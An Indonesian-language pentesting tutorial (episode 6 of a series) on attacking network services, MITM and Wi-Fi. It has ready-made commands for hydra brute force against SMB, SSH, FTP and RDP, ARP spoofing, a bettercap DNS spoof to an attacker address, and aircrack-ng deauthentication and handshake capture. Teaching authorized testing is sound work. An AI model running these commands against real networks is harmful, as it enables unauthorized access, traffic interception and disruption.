Mempelajari teknik network pentesting: mengeksploitasi service jaringan seperti SMB, SSH, dan FTP, melakukan MITM attacks, serta memahami wireless security basics untuk pengujian jaringan yang komprehensif

Setelah di episode 5 kita melakukan scanning & enumeration — menemukan open ports, service versions, dan vulnerability awal — pada episode ini kita masuk ke network pentesting: mengeksploitasi service jaringan yang ditemukan, melakukan MITM (Man-in-the-Middle) attacks, dan memahami wireless security basics.
Network pentesting adalah tentang memanfaatkan kelemahan protokol dan konfigurasi jaringan. Berbeda dari web pentesting yang fokus pada application layer, network pentesting beroperasi di transport dan network layer — menyerang service seperti SMB, SSH, FTP, RDP, dan SNMP.
SMB adalah protokol berbagi file Windows yang sering menjadi target utama. Kerentanan umum: null sessions, weak authentication, dan EternalBlue (MS17-010).
# Cek null session
smbclient -L //target.com -N
# Cek MS17-010 (EternalBlue)
sudo nmap --script smb-vuln-ms17-010 target.com -p 445
# Brute force SMB
hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://target.comSSH yang dikonfigurasi buruk bisa dieksploitasi melalui credential stuffing, key-based attack, atau brute force:
# Brute force SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target.com
# Cek SSH weak algorithms
nmap --script ssh2-enum-algos target.com -p 22
# Cek known weak keys
ssh-audit target.comFTP sering menggunakan credential default atau transfer dalam plaintext:
# Anonymous FTP login
ftp target.com
# Login: anonymous / email
# Nmap FTP scripts
nmap --script ftp-anon,ftp-vsftpd-backdoor target.com -p 21
# Brute force FTP
hydra -l admin -P wordlists.txt ftp://target.com# Cek NLA requirement
nmap --script rdp-enum-encryption target.com -p 3389
# Brute force RDP
hydra -l administrator -P wordlists.txt rdp://target.comWarning
Brute force attacks sangat noisy dan bisa memicu account lockout. Pastikan RoE mengizinkan brute force sebelum menjalankannya. Pertimbangkan untuk menggunakan credential list yang lebih kecil atau rate limiting.
MITM adalah teknik di mana penyerang menempatkan diri di antara dua komunikasi untuk memonitor atau memodifikasi traffic.
ARP spoofing memanfaatkan cara kerja ARP protocol — dengan mengirim ARP reply palsu, penyerang bisa mengarahkan traffic melewati mesin mereka:
# Install arpspoof
sudo apt install dsniff
# Aktifkan IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Spoof ARP
arpspoof -i eth0 -t target.com gateway_ip
# Redirect traffic balik ke gateway
arpspoof -i eth0 -t gateway_ip target.com# Menggunakan Bettercap
sudo bettercap -iface eth0
# Di dalam bettercap:
net.pro.on
set dns.spoof.domains target.com
set dns.spoof.address attacker_ip
dns.spoof on# Tcpdump untuk capture traffic
sudo tcpdump -i eth0 -w capture.pcap
# Wireshark untuk analysis (GUI)
wireshark capture.pcap
# Mitmproxy untuk HTTPS interception
mitmproxy --mode transparent| Serangan | Tool | Target |
|---|---|---|
| Deauthentication | Aircrack-ng | Memaksa client reconnect |
| Handshake capture | Aircrack-ng | Capturing WPA2 handshake |
| Evil twin | hostapd-mana | Fake access point |
| Karma attack | Mana | Evil twin otomatis |
# Monitor mode
sudo airmon-ng start wlan0
# Scan networks
sudo airodump-ng wlan0mon
# Capture handshake
sudo airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon
# Deauth untuk capture handshake
sudo aireplay-ng -0 5 -a <AP_MAC> -c <CLIENT_MAC> wlan0monWireless Pentest Workflow
==========================
1. Reconnaissance
└─ Airodump-ng, Kismet
2. Capture handshake
└─ Deauth attack → WPA2 handshake
3. Crack password
└─ Aircrack-ng + wordlist
4. Access network
└─ Internal pentest dari wirelessJika kalian memiliki lab lokal (metasploitable, vulnerable VM):
# 1. SMB enumeration
smbclient -L //metasploitable -N
# 2. FTP enumeration
nmap --script ftp-anon,ftp-vsftpd-backdoor metasploitable -p 21
# 3. SSH brute force (jika diizinkan)
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://metasploitable
# 4. MITM (dari mesin yang sama di network)
# Praktik ARP spoofing dengan arpspoofInti yang harus dibawa pulang:
Di episode 7 selanjutnya, kita akan mempelajari web pentesting (OWASP Top 10) — mengeksploitasi kerentanan aplikasi web seperti SQL injection, XSS, SSRF, IDOR, dan authentication flaws. Dari network layer, kita naik ke application layer!